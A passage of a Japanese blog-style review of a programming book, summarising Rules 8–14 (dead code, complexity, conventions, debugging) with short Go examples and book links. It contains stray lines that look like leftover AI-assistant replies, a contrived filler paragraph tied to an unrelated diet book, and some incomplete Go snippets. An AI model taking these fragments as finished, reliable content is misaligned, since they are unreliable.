machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn\'t Running Doesn\'t Work第8章「Code That Isn\'t Running Doesn\'t Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn\'t Running Doesn\'t Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7\xb12個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,Jo\xe3o Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\\"invalid payment: %w\\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\\"failed to deduct balance: %w\\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\\"failed to create transaction: %w\\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\\"process failed: %w\\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\\"Error occurred. Initial state: %+v\\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard